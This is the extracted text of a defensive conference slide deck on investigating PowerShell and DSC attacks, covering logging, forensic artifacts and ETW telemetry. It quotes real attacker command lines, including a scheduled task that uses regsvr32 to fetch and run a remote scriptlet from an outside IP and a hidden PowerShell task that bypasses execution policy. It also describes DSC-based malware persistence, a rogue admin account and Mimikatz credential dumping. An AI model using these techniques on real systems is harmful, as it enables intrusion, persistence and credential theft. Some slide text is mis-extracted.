(Re)Investigating PowerShell Attacks
BruCON 0x0A Retro Talks
Matt Hastings, Ryan Kazanciyan
I SHOULD BECOME
A PRODUCT MANAGER
“Investigating PowerShell Attacks”, 2014

“Desired State: Compromised”, 2015
Revisiting Investigating PowerShell Attacks
Our original research
Evidence in Memory
Memory footprint: PowerShell remoting
WinRM service memory on target host after Invoke-Mimikatz.ps1 executed remotely
Logging
Logging in PowerShell 2.0

- **PowerShell and WinRM logs**
  - Start and finish of console sessions
  - Start and finish of remoting sessions (with user)

- **PowerShell Analytic logs**
  - Names of executed scripts and cmdlets
  - Encoded input and output of remoting sessions
  - Disabled; too verbose for ongoing usage

- **AppLocker**
  - Captures user and script path
  - Must create script rules in audit or enforce mode

- **Transcription logging**
  - Enabled on a per-profile basis
  - Do not log remoting activity
Example: PS Analytic logs (v2)

**EID 32850:** Request 7873936. Creating a server remote session. **UserName:** CORP\JohnD

**EID 32867:** Received remoting fragment [...] Payload Length: 752 Payload Data: 0x020000000200010064D64FA51E7C78418483DC[...]

**EID 32868:** Sent remoting fragment [...] Payload Length: 202 Payload Data: 0xEFBBBF3C4F626A2052656649643D2230223E3[...]
Invoke-Command {Get-ChildItem C:\}
Module Logging in PS v3

3,905 events from one execution of Invoke-Mimikatz
Script Block logging in PS v4 to the rescue!

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
PowerShell versus other scripting languages

<table>
<thead>
<tr>
<th>Engine</th>
<th>Event Logging</th>
<th>Transcription</th>
<th>Dynamic Evaluation Logging</th>
<th>Encrypted Logging</th>
<th>Application Whitelisting</th>
<th>Antimalware Integration</th>
<th>Local Sandboxing</th>
<th>Remote Sandboxing</th>
<th>Untrusted Input Tracking</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bash</td>
<td>No**</td>
<td>No*</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No*</td>
<td>Yes</td>
<td>No*</td>
<td>No*</td>
</tr>
<tr>
<td>CMD / BAT</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Jscript</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No*</td>
<td>No</td>
<td>Yes</td>
<td>No*</td>
</tr>
<tr>
<td>LUA</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No*</td>
<td>Yes</td>
<td>Yes</td>
<td>No*</td>
</tr>
<tr>
<td>Perl</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>No*</td>
<td>Yes</td>
<td>Yes</td>
<td>No*</td>
</tr>
<tr>
<td>PHP</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No*</td>
<td>Yes*</td>
<td>Yes</td>
<td>No*</td>
<td>No*</td>
</tr>
<tr>
<td>PowerShell</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>No**</td>
</tr>
<tr>
<td>Python</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No*</td>
<td>No**</td>
</tr>
<tr>
<td>Ruby</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No**</td>
<td>No</td>
<td>No*</td>
<td>No*</td>
</tr>
<tr>
<td>sh</td>
<td>No**</td>
<td>No*</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No**</td>
<td>Yes</td>
<td>No*</td>
<td>No*</td>
</tr>
<tr>
<td>T-SQL</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>No**</td>
<td>Yes</td>
<td>No**</td>
<td>No</td>
</tr>
<tr>
<td>VBScript</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
<td>Yes*</td>
<td>No</td>
<td>No</td>
<td>No*</td>
</tr>
<tr>
<td>zsh</td>
<td>No**</td>
<td>No*</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes*</td>
<td>Yes</td>
<td>No</td>
<td>No*</td>
</tr>
</tbody>
</table>

* Feature exists, but cannot enforce by policy
** Experiments exist

PowerShell versus other scripting languages

<table>
<thead>
<tr>
<th>Engine</th>
<th>Event Logging</th>
<th>Transcription</th>
<th>Dynamic Evaluation Logging</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bash</td>
<td>No**</td>
<td>No*</td>
<td>No</td>
</tr>
<tr>
<td>CMD / BAT</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Jscript</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>LUA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Perl</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>PHP</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>PowerShell</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Python</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Ruby</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>sh</td>
<td>No**</td>
<td>No*</td>
<td>No</td>
</tr>
<tr>
<td>T-SQL</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>VBScript</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>zsh</td>
<td>No**</td>
<td>No*</td>
<td>No</td>
</tr>
</tbody>
</table>

* Feature exists, but cannot enforce by policy
** Experiments exist
# PEP 551 -- Security transparency in runtime

<table>
<thead>
<tr>
<th>PEP:</th>
<th>551</th>
</tr>
</thead>
<tbody>
<tr>
<td>Title:</td>
<td>Security transparency in the Python runtime</td>
</tr>
<tr>
<td>Author:</td>
<td>Steve Dower &lt;steve.dower at python.org&gt;</td>
</tr>
<tr>
<td>Status:</td>
<td>Draft</td>
</tr>
<tr>
<td>Type:</td>
<td>Informational</td>
</tr>
<tr>
<td>Created:</td>
<td>23-Aug-2017</td>
</tr>
<tr>
<td>Python-Version:</td>
<td>3.7</td>
</tr>
<tr>
<td>Post-History:</td>
<td>24-Aug-2017 (security-sig), 25-Aug-2017 (python-list)</td>
</tr>
</tbody>
</table>

# PEP 578 -- Python Runtime Audit Hooks

<table>
<thead>
<tr>
<th>PEP:</th>
<th>578</th>
</tr>
</thead>
<tbody>
<tr>
<td>Title:</td>
<td>Python Runtime Audit Hooks</td>
</tr>
<tr>
<td>Author:</td>
<td>Steve Dower &lt;steve.dower at python.org&gt;</td>
</tr>
<tr>
<td>Status:</td>
<td>Draft</td>
</tr>
<tr>
<td>Type:</td>
<td>Standards Track</td>
</tr>
<tr>
<td>Created:</td>
<td>16-Jun-2018</td>
</tr>
<tr>
<td>Python-Version:</td>
<td>3.8</td>
</tr>
<tr>
<td>Post-History:</td>
<td></td>
</tr>
</tbody>
</table>
PowerShell Attacks Today
PS attacks have been commoditized
Defense evasions are widely-available

https://github.com/danielbohannon/Invoke-Obfuscation

https://github.com/trustedsec/unicorn

https://gist.github.com/cobbr
Modern attacks **still** use old tricks

---

```python
sCMDLine = "schtasks /create /sc MINUTE /tn ""Windows Scheduled Maintenance"" /tr ""\"regsvr3.exe\"" /s /n /u /i:http://80.255.3.87:80/a/b/allp/10009.jpg scrobj.dll"" /mo 30"

' ... code snipped by Carr for easy viewing...

tstr = tstr & "

https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
```

---

```bash
SChTasks.exe /Create /SC MINUTE /TN "Update service for Oracle products1" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $HOME...
```

Modern attacks still use old tricks

https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

https://www.redcanary.com/blog/cryptomining-enabled-by-native-windows-tools/
4%

Percentage of malicious scripts sampled in 2018 that used any form of obfuscation

The number of computers where PowerShell commands were executed doubled from 734,262 in Q1 2018 to 1,451,449 in Q2 2018. In May 2018, we saw PowerShell scripts being executed on an average of 480,000 computers per day.

Investigating .NET Attacks in 2020!

- Researchers moving beyond PowerShell
- Emerging offensive toolkits
- Fewer insights into .NET execution
- More to come later in this talk...
Auditing in PowerShell v6
PowerShell 6.0 changes

- Relies on .NET Core 6.0 runtime
- Open source
- Windows, macOS, Linux support
- New shell: `pwsh.exe`
- Installable side-by-side with PS v5
PS v6 auditing in Windows

- New event Log:
  PowerShellCore/Operational

- New ETW GUID:
  {f90714a8-5509-434a-bf6d-b1624c8a19a2}

- New configuration files
  - $PSHOME\PowerShell.Core.Instrumentation.man
  - $PSHOME\RegisterManifest.ps1
  - $PSHOME\powershell.config.json
Events & EIDs unchanged from PS v5
```json
{
    "PowerShellPolicies": {
        "ScriptExecution": {
            "ExecutionPolicy": "RemoteSigned",
            "EnableScripts": true
        },
        "ScriptBlockLogging": {
            "EnableScriptBlockInvocationLogging": true,
            "EnableScriptBlockLogging": true
        },
        "Transcription": {
            "EnableTranscripting": true,
            "EnableInvocationHeader": true,
            "OutputDirectory": "c:\\tmp"
        }
    },
    "LogLevel": "verbose"
}
```
Enabling and disabling auditing

```
Administrator: C:\Program Files\PowerShell\6\pwsh.exe
PowerShell 6.1.0
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS C:\Windows\system32> RegisterManifest.ps1
PS C:\Windows\system32> RegisterManifest.ps1 -Unregister
PS C:\Windows\system32> 
```
Auditing configuration changes

- **Not** recorded in the event log
- **Will** be recorded in transcription logging

************************************************
Command start time: 20180922134046
************************************************
PS C:\Users\ryankaz\Desktop> RegisterManifest.ps1 -Unregister
Audit settings in the registry

- HKLM\SOFTWARE\Policies\Microsoft\PowerShellCore
- Not impacted if you use RegisterManifest.ps1
Command History

- Persistent command line history (similar to bash history)
  `%AppData%\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt`
- `(Get|Set)-PSReadLineOption`
Revisiting DSCompromised
Desired State Configuration (DSC)

Ensure that a desired “state” of the system is maintained over time

- Download and create files and directories
- Execute processes
- Run scripts
- Create users and assign group membership
- Control Windows services
- Manage registry keys and values
- Install software
DSC Workflow: Author, Stage, Implement

- Create configuration
- Stage configuration on Pull Server
- Stage configuration on Push Server
  - [or]
- SMB, HTTP, or HTTPS
- Consume and implement configuration
- WinRM
- Check for config "drift", re-enforce as needed
Why is DSC an interesting attacker tool?

- Obscure & flexible persistence mechanism
- Not detected or examined by most security tools
- Automatic re-infection if not properly remediated
DSCompromised
DSCompromised Framework

- [https://github.com/matthastings/DSCcompromised](https://github.com/matthastings/DSCcompromised)
- PowerShell scripts to setup DSC “C2” server, build payload, infect victims
- Components:
  - Server PowerShell module
    - Configure-Server.psm1
  - Victim configuration script
    - Configure-Victim.ps1
Our approach: DSC “pull” mode

- Emulate a real C2 server
- Victim client initiates “beacon” requests via HTTP/s
- Server can be on the internet or victim’s internal network
  - Attacker-controlled server preferable
  - Significant footprint to install DSC hosting components

Configure DSC Pull Server (C2 server)

Create malicious configuration to host on Pull Server

HTTP/s

Consume and implement config on victim host(s)

Configure-SERVER.psm1

New-Payload
New-User

Configure-Victim.ps1
Payloads we implemented

Persist Malware

- Infect victim machine with backdoor malware
- Ensure the malware continues to execute and remain on disk
- Re-infect victim automatically if remediated

Persist User Account

- Create a local account with your choice of password
- Ensure user is a member of a specific group, such as local administrators
- Automatically re-add account and restore group membership if deleted or changed
Sources of evidence
Network activity

HTTP requests used in DSC “pull” configuration

**POST**

/psdscpullserver.svc/Action(ConfigurationId='a8540639-cd47-462d-ae75-415158f60a99')/GetAction

**GET**

/psdscpullserver.svc/Action(ConfigurationId='a8540639-cd47-462d-ae75-415158f60a99')/ConfigurationContent
### File system activity

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>User</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</td>
<td>3520</td>
<td>CreateNewFile</td>
<td>Ryan Kate...</td>
<td>C:\Windows\System32\Configuration\PullConfig.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</td>
<td>3520</td>
<td>CreateNewFile</td>
<td>Ryan Kate...</td>
<td>C:\Windows\System32\Configuration\PullConfig.mof\localhost.meta.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\MetaConfig.tmp.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\MetaConfig.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\LCM81E3.tmp.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\svchost.exe</td>
<td>884</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration</td>
</tr>
<tr>
<td>C:\Windows\System32\svchost.exe</td>
<td>884</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration\Consistency</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\LogFiles\Scm\14241670-de21-404e-925b-652ff050cxb5</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>DeletePath</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\LCM81E3.tmp.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\svchost.exe</td>
<td>884</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration\DSCRestartBootTask</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\635794712468757011</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\635794712468757011\localhost.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\635794712468757011\localhost.mof\checksum.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\Pending.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\nc64.exe</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\backup.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\Current.mof</td>
</tr>
<tr>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>DeletePath</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\Pending.mof</td>
</tr>
</tbody>
</table>

*Configure-Victim script creates pull setup MOF*

*System creates initial LCM meta config*

*Task Manager creates DSC Consistency and Boot Tasks*

*System creates temp copy of downloaded “payload” MOF*

*Malware dropped by payload MOF*

*Current and backup config set to “payload” MOF*
Event logs: DSC Operational

Event 4102, Desired State Configuration

Job {962BD765-1BDD-479A-A27D-38A55E6B5F05}:
Configuration is sent from computer by user sid S-1-5-21-1183443138-306328116-2762118002-1002.

Event 4242, Desired State Configuration

Job {CD39AA3-CC55-4F3A-BAC5-00911CE68A7F}:
WebDownloadManager for configuration 1505960a-99f1-41fa-9c9f-50b4b56c2a0d Do-DscAction command with server url: http://130.211.144.143:8080/psdscpullserver.svc.

Event 4229, Desired State Configuration

Job {CD39AA3-CC55-4F3A-BAC5-00911CE68A7F}:
WebDownloadManager for configuration 1505960a-99f1-41fa-9c9f-50b4b56c2a0d Get-DscDocument command, File save result: C:\Windows\TEMP\635794607787986222\localhost.mof.
State of DSC Attacks in 2018
Contributions to master, excluding merge commits

October 2016
April
July
October 2017
April
July
October 2018
April
July
<table>
<thead>
<tr>
<th>Autorun Entry</th>
<th>Descr</th>
<th>Publisher</th>
<th>Image Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Themes Setup</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Web Platform Customizations</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Desktop Update</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Component</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Microsoft Windows</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Microsoft Windows Media Player</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>n/a</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Revisiting DSC’s limitations

- Difficult to learn and use
- Requires PS 4.0 on victim
  - Windows 8.1, Server 2012 R2 and later
- Requires Admin privileges on victim host
  - Post-compromise persistence
I finally got around to playing with Desired State Configuration and discovered that it makes for a great WMI-based lateral movement technique using the script resource (i.e. an alternative to Win32_Process Create). A simple PoC:

`PowerShellDSCLateralMovement.ps1`

GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

3:26 PM - 4 Mar 2018
And I also finally got around to looking at @_mhastings_ and @ryankaz42's great "DSCompromised" slides (blackhat.com/docs/asia-16/m ...). Turns out, they were using the DSC Script Resource before it was cool. 😍

3:46 PM - 4 Mar 2018

9 Retweets 46 Likes
And looking at @mattifestation's great 12's mix (blame Craig for that one..).
Turns out I mention the BSC Scratch website in the intro.

3:46 PM 2/19/18

9 Retweets 46 Likes

SENPAI...
NOTICED ME!!!
DSC → DSC Core

- DSC continues to receive updates, increasingly important for Azure

- Next-gen: DSC Core
  - Converge to a single cross-platform, open-source code base
  - Removes dependencies on WMI and WMF
  - New Local Configuration Manager
  - Resources written in native C/C++, Python, or PowerShell Core

- Release date remains TBD
Logging with ETW
ETWhat?

- Introduced in Windows 2000
- Application / kernel tracing
  - Troubleshooting
  - Performance monitoring
- Hiding in plain sight
ETW Orchestration

- [https://github.com/matthastings/PSalander](https://github.com/matthastings/PSalander)
- PowerShell module to orchestrate ETW sessions
- Impacted by PS logging evasions
- Out-of-the-box forensic collection
- Useful beyond PS
Demo
.NET Visibility

- Microsoft-Windows-DotNETRuntime
- [SharpSploit.Credentials.Mimikatz]::All()
<table>
<thead>
<tr>
<th>MethodNamespace</th>
<th>MethodName</th>
<th>MethodSignature</th>
</tr>
</thead>
<tbody>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>.cctor</td>
<td>void ()</td>
</tr>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>All</td>
<td>class System.String ()</td>
</tr>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>get_CompressedPEBytes64</td>
<td>class System.String ()</td>
</tr>
<tr>
<td>SharpSploit.Misc.Utilities</td>
<td>Decompress</td>
<td>unsigned int8[] (unsigned int8[])</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>Load</td>
<td>class SharpSploit.Execution.PE (unsigned int8[])</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>.cctor</td>
<td>instance void (unsigned int8[])</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>FromBinaryReader</td>
<td>generic !!0 (class System.IO.BinaryReader)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>FromBinaryReader</td>
<td>generic !!0 (class System.IO.BinaryReader)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>set_FileHeader</td>
<td>instance void (value class IMAGE_FILE_HEADER)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>get_FileHeader</td>
<td>instance bool ()</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>FromBinaryReader</td>
<td>generic !!0 (class System.IO.BinaryReader)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>set_OptionalHeader64</td>
<td>instance void (value class IMAGE_OPTIONAL_HEADER64)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>set_I32BitHeader</td>
<td>instance void (value class IMAGE_SECTION_HEADER[])</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>get_I32BitHeader</td>
<td>instance value class IMAGE_SECTION_HEADER[] ()</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>FromBinaryReader</td>
<td>generic !!0 (class System.IO.BinaryReader)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>set_PEBinary</td>
<td>instance void (unsigned int8[])</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>get_PEBinary</td>
<td>instance value class IMAGE_OPTIONAL_HEADER64 ()</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>IntPtrAdd</td>
<td>void ()</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>get_PEBinary</td>
<td>int (int,int32)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>set_MimikatzPE</td>
<td>void (class SharpSploit.Execution.PE)</td>
</tr>
<tr>
<td>SharpSploit.Execution.PE</td>
<td>GetFunctionExport</td>
<td>int (class System.String)</td>
</tr>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>SamDump</td>
<td>class System.String ()</td>
</tr>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>LsaSecrets</td>
<td>class System.String ()</td>
</tr>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>LsaCache</td>
<td>class System.String ()</td>
</tr>
<tr>
<td>SharpSploit.Credentials.Mimikatz</td>
<td>WdDigest</td>
<td>class System.String ()</td>
</tr>
</tbody>
</table>
Takeaways
Takeaways

- Despite advances in attacker tradecraft, PowerShell provides defenders with better auditability than any other language.
- Establishing a baseline for legitimate PowerShell activity across an environment makes detection significantly easier.
- ETW will continue to serve as a goldmine for telemetry as new techniques emerge ("there’s a provider for that!")
Thank you!

matt.hastings [at] tanium.com
@_mhapsings_

ryan.kazanciyan [at] tanium.com
@ryankaz42